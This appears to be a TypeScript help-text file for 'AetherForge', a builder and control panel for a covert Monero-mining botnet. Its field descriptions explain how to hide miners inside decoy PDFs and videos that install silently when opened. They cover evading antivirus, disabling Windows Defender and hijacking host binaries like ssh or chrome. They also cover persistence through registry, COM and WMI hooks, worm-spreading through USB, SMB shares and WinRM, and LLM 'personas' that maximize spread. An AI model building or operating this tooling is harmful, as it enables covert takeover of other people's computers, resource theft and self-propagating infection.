AetherForge/server/web/src/help/settingHelp.ts

export const SETUP_CHEATSHEET = [
  {
    title: '1. Calibrate once',
    body: 'Set your Monero wallet and LAN URL on the Calibrate tab, then Save. Click “Use best defaults” if you are not sure — we fill in the detected LAN address and sensible pool settings.',
  },
  {
    title: '2. Forge (Simple mode)',
    body: 'On Forge, Simple mode keeps only what you need: worker name, server URL, wallet. Everything else uses recommended defaults (idle mining, stealth, persistence). Pick a LAN chip, then FORGE INSTALLER.',
  },
  {
    title: '3. Deploy',
    body: 'Copy the .exe from the project root to each worker PC and run it once. It installs, connects back, and appears on Command Deck.',
  },
  {
    title: '4. Watch the fleet',
    body: 'Command Deck shows live hashrate. Crucible has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
  },
];

export const FIELD_HELP: Record<string, string> = {
  calibrate_wallet:
    'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 or 8 and be 90–106 characters.',
  calibrate_quick_setup:
    'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
  calibrate_defender_exclusions:
    'Generates an elevated PowerShell script (.ps1) you run manually on each Windows worker — path + process allowlists only. The agent does not silently bypass AV. Tamper Protection, Controlled folder access, cloud-delivered protection, SmartScreen, and behavioral blocks can still interfere even after exclusions. Disable Tamper Protection temporarily if Add-MpPreference is rejected.',
  av_limits:
    'No mining architecture is 100% invisible to AV. Best practical combo: in-process RandomX (no external CPU miner .exe) + Calibrate Defender exclusions + dedicated mining hardware for GPU subprocess paths. Garble, hollow, spread, and T-Rex/TRM downloads remain high-friction.',
  defender_off:
    'Crucible remote action: disables Windows Defender real-time monitoring only (Set-MpPreference). Requires admin and Remote Aggressive Ops. Tamper Protection reverts changes; cloud/behavioral/Controlled folder access/SmartScreen keep running. Not a substitute for path exclusions — use Calibrate → Windows Defender Exclusions.',
  forge_simple_mode:
    'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
  forge_operation_mode:
    'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only — no GPU exe, no hollow/spread, idle caps), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Default forge execution is auto (full cascade); AV-Safe still bakes inprocess only. Switches sensible defaults — individual fields below can still be fine-tuned.',
  forge_lotl_onion:
    'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
  adaptive_strategy:
    'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on). When server.ai_control_enabled is on, Fleet AI Control replaces adaptive strategy for tier decisions.',
  lotl_onion_tiers:
    'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
  ai_auto_elevate_clearance:
    'When AI Control is on, the scheduler may raise an agent from L0–L3 to L4 when the host is stuck with all spread tiers failed — so court-ordered restart_mining and reorder_tiers can execute. Events appear in LOTL Timeline clearance history and Access Depth badge flash.',
  fleet_phenotype:
    'When one agent in a fingerprint bucket finds a winning spread+mining path, the server publishes a fleet phenotype. Sibling agents inherit tier_order and spread_lane on auth without re-forge — Access Depth and LOTL Timeline show "cloned from" badges.',
  failure_atlas:
    'Server-side failure atlas records conditioned tier failures (e.g. ps_inmemory under Defender on). After five failures it hard-skips subtrees in adaptive_strategy and pushes atlas_skips on agent auth. LOTL Timeline marks tiers skipped_by_atlas.',
  erasure_lanes:
    'Optional Reed–Solomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
  fleet_torrent:
    'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.',
  ai_court_session:
    'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
  calibration_ai_control:
    'Calibrate control mode: Logic gates use weighted adaptive strategy + server lotl_onion_tiers. AI Control routes fleet decisions through a local LLM on this control PC every 60s per agent — stateless, no memory, full tool authority on your machines only.',
  ai_local_endpoint:
    'Local OpenAI-compatible or Ollama API base URL on the control server machine (default http://127.0.0.1:11434/v1). The hub lists models and calls the LLM — workers never talk to Ollama directly.',
  calibration_ai_model:
    'LLM model name for fleet AI Control (Calibrate). Click Refresh models after Ollama is running, then pick from the dropdown. Distinct from per-forge ai_model baked into installers.',
  ai_no_context:
    'Stateless AI mode — each 60s cycle sends only the current agent snapshot. No chat history or cross-agent memory is retained (always on for fleet safety).',
  ai_interval_sec:
    'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
  ai_persona:
    'Calibrate AI persona preset — shapes fleet decisions and default spread tier order hints (spread_temperament) when AI Control is on. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.',
  ai_persona_aggressive:
    'Aggressive persona: take every spread and mine opportunity on your machines. Prioritize spread_now and discover_and_join each cycle, fast tier retries, and L4 clearance when stuck after tier exhaustion.',
  ai_persona_silent:
    'Silent persona: mine only with minimal spread. Never spread_now unless stuck after all 14 tiers; prefer container/wsl/docker. No shell agent_command unless clearance is high and hashrate stays zero.',
  ai_persona_passive:
    'Passive persona: observe and report mostly. Default noop unless hashrate=0 with exhausted chain (~10m stuck). Gentle restart_mining only — no aggressive spread or clearance elevation.',
  ai_persona_persuasive:
    'Persuasive persona: spread-first fleet growth. Attempt discover_and_join before restart_mining; probe join lanes and credential graph. Sell mining as fleet health after spread lanes succeed.',
  ai_persona_balanced:
    'Balanced persona: default mission prompt — balance spread vs mine, clearance-aware shell only when stuck, discover_and_join when join lanes are available.',
  forge_path_forge:
    'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
  forge_recommended_defaults:
    'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
  obfuscate:
    'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (devrun.bat installs it).',
  sign_build:
    'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
  sigil_scramble:
    'After compile, the server appends a unique Sigil overlay and nudges the PE timestamp so static AV hashes differ every forge. Runtime behavior is unchanged.',
  obfuscate_default:
    'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with devrun.bat release.',
  sign_enabled:
    'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
  sign_cert_thumbprint:
    'SHA-1 thumbprint from certmgr.msc → your certificate → Details. The private key must be on this control PC.',
  sign_tool_path:
    'Optional full path to signtool.exe. Leave blank to auto-detect from the Windows SDK.',
  sign_timestamp_url:
    'RFC 3161 timestamp server used during signing so signatures stay valid after the cert expires.',
  worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3. We auto-suggest worker-1, worker-2, …',
  server_url:
    'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
  output_dir:
    'Optional extra copy into a subfolder (e.g. exports). The forged .exe is always written to the project root as a single file with the same name as your Fusion output setting.',
  wallet: 'Monero wallet address where pool payouts go. Must be a valid mainnet address starting with 4 or 8 (90–106 characters).',
  pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.',
  pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.',
  pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.',
  pool_pass: 'Pool password, usually x for Monero. Some pools use wallet+worker syntax.',
  threads: 'Fixed thread count when Thread Mode is Fixed. More threads = more hashrate but more CPU heat.',
  thread_mode: 'Auto (% of cores) adapts to each machine. Fixed uses an exact thread count on every PC.',
  thread_percent: 'Percentage of logical CPU cores to use when Thread Mode is Auto. 75% on an 8-core box ≈ 6 threads.',
  max_cpu_usage_pct: 'Target ceiling for miner CPU usage. Agent throttles when reporting usage above this.',
  max_memory_percent: 'Maximum share of system RAM the miner should respect. Helps avoid swapping on low-RAM machines.',
  min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
  cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
  mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
  miner_execution:
    'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe (lowest AV friction). Container isolates CPU mining but AV still sees docker.exe and image pulls. Subprocess is GPU-only and often quarantined. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Crucible → Mining Diagnostics returns JSON likely_blockers; use Calibrate → Defender Exclusions on Windows fleets.',
  idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
  idle_duration_minutes: 'How long the machine must be idle before mining begins.',
  schedule_start: 'For Scheduled mode: daily start time (24h).',
  schedule_end: 'For Scheduled mode: daily stop time (24h). Can cross midnight.',
  display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
  process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
  persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
  autostart_mode:
    'Extra boot/logon hooks (Windows, MITRE T1547-style). Legacy (empty) keeps today\'s behavior. Boot task = ONSTART at system boot (SYSTEM). Logon task = ONLOGON when a user signs in. Logon Run = HKCU Run key. Startup folder = shortcut in %APPDATA%\\...\\Startup. All = every hook. Does not replace Run As scheduled/BITS/host-binary modes.',
  registry_persistence:
    'Forge-baked registry Run/RunOnce hooks (MITRE T1112). Separate from boot tasks: Run keys fire at user logon; RunOnce runs once then removes itself. HKLM requires elevation — skipped silently if not admin. Value name: AetherForge_{worker}. Uninstall removes only keys this agent created.',
  registry_run_hkcu:
    'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run — standard per-user logon autostart. Works without admin.',
  registry_run_once:
    'HKCU\\...\\RunOnce — runs once at next logon then deletes the value. Useful for one-shot relaunch after upgrade.',
  registry_run_hklm:
    'HKLM Run + RunOnce — machine-wide logon hooks. Only written when the agent process is elevated; otherwise skipped.',
  registry_explorer_run:
    'HKCU\\...\\Policies\\Explorer\\Run — less common Group-Policy-style logon hook. Same user scope as HKCU Run.',
  run_as: 'User = Run key when persistence is on. Scheduled/Service = logon task. BITS = transfer notify job. Host Binary = replace a client app (ssh, browser, FTP, etc.) with the worker; running that app relaunches the miner then executes the original backup. Windows + admin for system paths.',
  host_binary_target: 'Which host application to hijack: ssh, ftp, chrome, edge, firefox, putty, winscp, mstsc, notepad, calc, curl, telnet, or custom:C:\\full\\path.exe',
  silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
  auto_start: 'Same as Persistence. Keeps miner running after reboot.',
  fusion_enabled:
    'Fuse the miner with any file — PDF, video, Word doc, image, or executable. When the person opens the fusion package, their file opens normally while the miner installs silently in the background.',
  fusion_run_order:
    'When to open the decoy file vs. install the miner. Parallel = both happen at the same time (recommended — least delay). File first = file opens before miner starts. Miner first = miner installs first, file opens after.',
  fusion_prep:
    'Any file you want to use as a decoy — PDF, video (MP4/MOV/MKV), Word document, spreadsheet, image, or Windows executable. The recipient sees only their normal file; the miner installs silently. Max 2 GB.',
  fusion_media_mode:
    'All-in-one (embedded): the file is baked directly into the runner binary — one file to send, best for files under ~500 MB. ZIP bundle (paired): your original file + runners packaged in a ZIP — works for any size file.',
  fusion_output_name:
    'The name of the runner binary inside the ZIP (e.g. report-runner.exe). The recipient runs this to open their file and trigger the install. Leave blank to auto-generate from your file name.',
  fusion_batch:
    'Queue multiple files at once — each one produces its own separate universal ZIP. Great for delivering a folder of documents or videos. The recipient only needs to run the launcher for their OS.',
  install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
  install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
  install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
  public_url: 'Override the LAN URL shown in Forge and given to new miners. Use http://192.168.x.x:8989 — not localhost — so other PCs can reach this server.',
  cloudflare_tunnel_token:
    'Cloudflare Zero Trust connector token from the tunnel install command (cloudflared tunnel run --token …). Saved to config and data/cloudflared-token.txt; AetherForge starts cloudflared automatically on launch. Route the tunnel to http://localhost:<port> in the Cloudflare dashboard.',
  websocket_ping_seconds: 'How often the server pings dashboard and agent WebSockets (seconds). Keeps NAT/firewall sessions alive.',
  log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.',
  adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
  self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
  firewall_exclusion: 'On first install, adds Windows Firewall inbound/outbound allow rules for the installed miner .exe. Helps on locked-down PCs; may require one Run as administrator if the rule fails.',
  open_firewall_on_start: 'When enabled, the control server adds a Windows Firewall inbound rule for its listen port (default 8989) on startup so LAN agents can connect.',
  firewall_remote: 'From Fleet/Crucible remote ops (Windows, admin, Remote Aggressive Ops): FW Off/On toggles all profiles; FW Private Off disables Private+Public only; Open FW Port adds a TCP allow rule; Remove FW Rules clears AetherForge miner rules.',
  file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
  stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
  ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.',
  ai_ollama_endpoint: 'Ollama API URL on the control server machine (example: http://localhost:11434). The hub calls Ollama — not the worker directly.',
  ai_model: 'Ollama model name to use for AI decisions (example: llama3.2). Must be pulled locally on the control server.',
  process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
  mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
  auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
  usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.',
  share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.',
  winrm_spread: 'WinRM Spread: During autospread, sweeps the local /24 for WinRM-open hosts and deploys via encoded PowerShell bootstrap. Requires owned/lab targets with remoting enabled — separate from Share Drop opportunistic WinRM tries.',
  dns_txt_spread:
    'DNS TXT Spread: Stages hash-verified worker shards via `_aether.<zone>` TXT records (nslookup / Resolve-DnsName). Default ON for Windows/universal — low egress, blends with internal DNS policy refresh. Server Calibrate `dns_zone` sets the zone suffix.',
  webrtc_mesh_spread:
    'WebRTC Mesh Spread: LAN seeder delivers manifest over WebRTC data channel (STUN from server, signaling via WS relay). Bytes stay on subnet; server sees join_lane + hashrate only. Default OFF — heavier than DNS/WSUS cousins; enable for dense LANs.',
  wsus_cache_peer_spread:
    'WSUS Cache Peer Spread: Stages beside `SoftwareDistribution\\Download` like an offline update cache cousin. Probes Wuauserv/AU registry; default ON when Windows Update service is present or this forge flag is set.',
  wsus_format_mimic:
    'WSUS Format Mimic: staged shard files use *.cab.partial filenames with SSU/CAB-like headers so payloads resemble Windows Update cache chunks. Requires WSUS Cache Peer spread enabled. Windows-only; default ON for Windows forges.',
  com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.',
  linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
  hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
  remote_aggressive:
    'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender_off (RTP disable only, admin required). Requires explicit button press; nothing runs automatically except what other toggles define. AV is not fully disabled — exclusions remain the reliable path.',
  target_os: 'Target platform: Windows-only, Linux, macOS, Universal (all three in one ZIP), or Android APK fleet node. Movie fusion and Spread Kit always use Universal; APK mode locks Android arm64.',
  apk_mode:
    'Package a fleet node as an Android APK — not mining-first. Compiles linux/arm64 agent, embeds server_url + worker name, and joins the fleet as platform=android after install. Grant permissions on first open.',
  apk_agent_name:
    'Label baked into the APK assets config.json. Defaults to Worker Name. Shows on Command Deck after the phone/tablet connects.',
  target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
  spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
  forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
  https_beacon_fallback:
    'Primary C2 = WebSocket (MITRE T1071.001). When WS is unreachable for several minutes, the agent falls back to normal HTTPS POST beacons on /api/v1/agent/beacon — same TLS and fleet secret as the REST API. Enabled by default when backup server URLs are set.',
  https_beacon_after_min:
    'Minutes without a live WebSocket before the agent switches to HTTPS beacon polling. Default 3.',
  webhook_url:
    'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
  aws_erasure_swarm:
    'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.',
  recon_deploy_kit:
    'GET /api/v1/recon/deploy-kit returns a lane-specific kit for a recon host: dropper URLs (/get, install.ps1/sh), spread-kit ZIP export path, signed deploy-plan template, and SSM bundle when the finding maps to ssm_document. Used by Crucible recon spread and Emberwake cloud cross-links.',
  fleet_spread_to_host:
    'POST /api/v1/fleet/spread-to-host queues discover_and_join from the best online seed on the target /24 when no agent_id exists for the IP. Response includes recommended_command and operator_note when dispatch is deferred.',
};